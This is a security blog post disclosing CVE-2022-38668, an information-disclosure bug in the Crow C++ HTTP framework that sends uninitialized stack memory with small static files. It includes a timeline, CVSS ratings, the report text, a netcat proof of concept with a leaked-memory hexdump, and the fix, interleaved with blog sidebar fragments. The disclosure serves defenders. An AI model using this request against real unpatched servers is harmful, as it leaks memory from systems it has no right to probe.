

2022-09-23: Crowbleed (Crow HTTP framework vulnerability)

vulnerability:crow

(Collaborative post by Gynvael Coldwind and hebi)



Crow is an asynchronous C++

HTTP/WebSocket framework for creating "flask-like" web services. While analyzing another vulnerability we've found a Cloudbleed-like information disclosure bug in the code path responsible for serving static files. Technically no special action on attacker's side was required - it was enough to request a static file smaller than 16KB and the server would send the file padded with uninitialized stack content (up to 16KB) back.

The vulnerability in question was reported mid-August and fixed within 6 days.

CVSS, CVE, etc

Human readable details are in the next section.

- CVE: CVE-2022-38668CVSS 3.1: 5.3 Medium
 - (AV:N/AC:L/PR:N/UI:N/S:U/**C:L**/I:N/A:N) [as originally reported]
- **CVSS 3.1**: 7.5 High
 - (AV:N/AC:L/PR:N/UI:N/S:U/**C:H**/I:N/A:N) [as rated by NIST/NVD]

Timeline

- 2022-08-14: Vulnerability discovered.
- 2022-08-17: Vulnerability reported.
- 2022-08-21: Public fix was proposed.
- 2022-08-22: Public fix was merged in.
- 2022-08-22: CVE requested and assigned.
- 2022-09-23: Details were published.

Original report with details

*** Summary:

Affected: Crow version 1.0+4 and older



Return to dashboard û

Sections

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Links / Blogs

- → dragonsector.pl
- → vexillium.org

Security/Hacking:

j00ru's blog lcamtuf's blog invisible things (new) invisible things (old) liveoverflow's site /dev/null's site pi3's blog icewall's blog

```
Discovered by:
  Gynvael Coldwind
Method of discovery:
 Manual Analysis (reading the code)
"Crow is a C++ framework for creating HTTP or
Websocket web services. It uses
routing similar to Python's Flask which makes it easy
to use. It is also
extremely fast, beating multiple existing C++
frameworks as well as non C++
frameworks."
(source: project's README.md)
Crow versions prior 1.0+4 (included) are vulnerable to
an Information Disclosure
("Exposure of Sensitive Information to an Unauthorized
Actor") issue, due to
improper handling of static resources.
Any request to a static resource, where the static
resource is smaller than
16KB, will lead to disclosing up to 16KB of data from
the stack.
IMPORTANT: This vulnerability is reported under the 90-
day policy
(version 2021), i.e. this report will be shared
publicly with the defensive
community on 16th November 2022 if a patch/fix is not
available by that time, or
30 days after the fix becomes available. For details
please see:
https://googleprojectzero.blogspot.com/2021/04/policy-
*** Vulnerability details and exploit
The vulnerability is located in the
Connection::do write static* method within
the http connection.h file.
https://github.com/CrowCpp/Crow/blob/master/include/cro
w/http connection.h#L393
This function creates a local buffer with a fixed size
of 16384 bytes. Then the
buffer is passed to is.read() method (where "is"
denotes an opened local file
pointed to by the static resource mapping) to acquire
the content of the given
static resource (file). This call made within a while
loop's condition, which
checks if any data was read (if not, the loop will
exit).
However, the number of bytes that were read is not
being tracked in any form.
Furthermore, the whole buffer is then passed to
asio::buffer without specified
size**.
** In this case it means that the whole array size
will be used as data size, as
per the following constructor description:
https://www.boost.org/doc/libs/1 80 0/doc/html/boost as
```

https://github.com/CrowCpp/Crow - maintained version

https://github.com/ipkn/crow - original version

taviso's blog pawel's blog sandeep's blog koto's blog carstein's blog zaufana trzecia strona niebezpiecznik sekurak

Reverse Eng./Low-Level:

rewolf's blog adtr spinning mirrors security news rev3rsed

Programming/Code:

/dev/krzag sil2100/vx's web log adam sawicki devkk.net xion.log

Posts

Weird PCI-e connector actually works, A clever Python challenge – find flag, Debug Log: The mystery of usb 3-11 device, Hello World under the microscope, Crow HTTP framework use-after-free, Crowbleed (Crow HTTP framework vulnerability), Treebox - Python AST sandbox challenge from Google CTF 2022, An informal review of CTF abuse, Debug Log: Why is my M.2 SSD so slow?, Screams of Power vulnerabilities (Powertek-based PDUs), → see all posts on main page

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/* the author and owner of this blog hereby allows anyone to test the security of this blog (on HTTP level only, the server is not mine, so let's leave it alone ;>), and try to break in (including successful breaks) without any consequences of any kind (DoS attacks are an exception here) ... I'll add that I planted in some places funny photos of some kittens, there are 7 of them right now, so have fun looking for them ;> let me know if You find them all, I'll add some congratz message or sth ;> *,

Vulns found in blog:

- * XSS (pers, user-inter) by ged_ * XSS (non-pers) by Anno & Tracerout
- * XSS (pers) by Anno & Tracerout * Blind SQLI by Sławomir Błażek * XSS (pers) by Sławomir Błażek

This in turn leads to the whole local buffer being sent to the client requesting the resource, including the potentially uninitialized part. This is especially true for files smaller than 16KB.

Conditions for triggering this behavior are:

- 1. Static path needs to be defined.
- 2. At least 1 static file needs to exist.
- 3. The file needs to be smaller than 16KB.

*** Exploit

```
$ cat poc.txt | nc -v 127.0.0.1 18080 | hexdump -C
localhost [127.0.0.1] 18080 (?) open
00000000 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f
4b 0d | HTTP/1.1 200 OK. |
20 74 |.Content-Type: t|
00000020 65 78 74 2f 70 6c 61 69 6e 0d 0a 43 6f 6e
74 65 |ext/plain..Conte|
00000030 6e 74 2d 4c 65 6e 67 74 68 3a 20 35 0d 0a
53 65 | nt-Length: 5..Se|
00000040 72 76 65 72 3a 20 43 72 6f 77 2f 6d 61 73
74 65 |rver: Crow/maste|
00000050 72 0d 0a 44 61 74 65 3a 20 54 75 65 2c 20
31 36 |r..Date: Tue, 16|
00000060 20 41 75 67 20 32 30 32 32 20 32 32 3a 34
39 3a | Aug 2022 22:49:|
00000070 32 32 20 47 4d 54 0d 0a 43 6f 6e 6e 65 63
74 69 |22 GMT..Connecti|
00000080 6f 6e 3a 20 4b 65 65 70 2d 41 6c 69 76 65
Od Oa |on: Keep-Alive..|
00 00 |..Test....|
00 00 |.....
00002a90 00 00 00 00 00 00 00 00 00 28 14 00 ac
d8 7f |.....(....)
00002aa0 00 00 20 14 00 ac d8 7f 00 00 48 f8 8c b4
d8 7f |.......H.....
00002ab0 00 00 50 f8 8c b4 d8 7f 00 00 49 8a 42 00
00 00 |..P.....I.B...|
00002ac0 00 00 28 14 00 ac d8 7f 00 00 20 14 00 ac
d8 7f |..(.....
00002ad0 00 00 03 00 00 00 00 00 00 00 11 00 00 00
00002ae0 00 00 28 14 00 ac d8 7f 00 00 20 14 00 ac
d8 7f |..(.....
00002af0 00 00 c0 f8 8c b4 d8 7f 00 00 cc 89 42 00
00 00 |.....B...|
00 00 |.....
00002b10 00 00 5b 00 00 00 6e 00 00 00 c0 1c 00 ac
d8 7f |..[...n.....
00002b20 00 00 b0 1c 00 ac d8 7f 00 00 01 00 00 00
00 00 |.....
00002b30 00 00 20 00 00 00 00 00 00 08 00 00 00
00 00 |.. .....
00002b40 00 00 28 14 00 ac d8 7f 00 00 20 14 00 ac
d8 7f |..(.....
00002b50 00 00 b0 1c 00 ac d8 7f 00 00 40 f9 8c b4
00002b60 00 00 f0 f8 8c b4 d8 7f 00 00 89 48 49 00
00 00 |....HI...
00002b70 00 00 28 3b 8d b4 d8 7f 00 00 30 14 00 ac
d8 7f |..(;.....0.....
00002b80 00 00 40 f9 8c b4 d8 7f 00 00 48 f9 8c b4
d8 7f |..@.....H.....|
00002b90 00 00 50 f9 8c b4 d8 7f 00 00 99 47 49 00
```

```
00 00 |..P......GI...|
00002ba0 00 00 01 00 00 00 00 00 00 00 c8 04 8d b4
d8 7f |.....
00002bb0 00 00 30 f9 8c b4 d8 7f 00 00 b0 1c 00 ac
d8 7f |..0.....
00002bc0 00 00 01 00 00 00 00 00 00 00 c8 04 8d b4
d8 7f |.....
00002bd0 00 00 d0 1c 00 ac d8 7f 00 00 b0 1c 00 ac
d8 7f |.....
00002be0 00 00 30 14 00 ac d8 7f 00 00 30 14 00 ac
d8 7f |..0.....
00002bf0 00 00 90 f9 8c b4 d8 7f 00 00 00 53 2a 66
e1 24 |.....S*f.$|
00002c00 09 b2 30 14 00 ac d8 7f 00 00 60 ff ff ff
ff ff |..0.....
*** Proposed fix:
Passing the actual size of bytes read to
asio::buffer's constructor.
```

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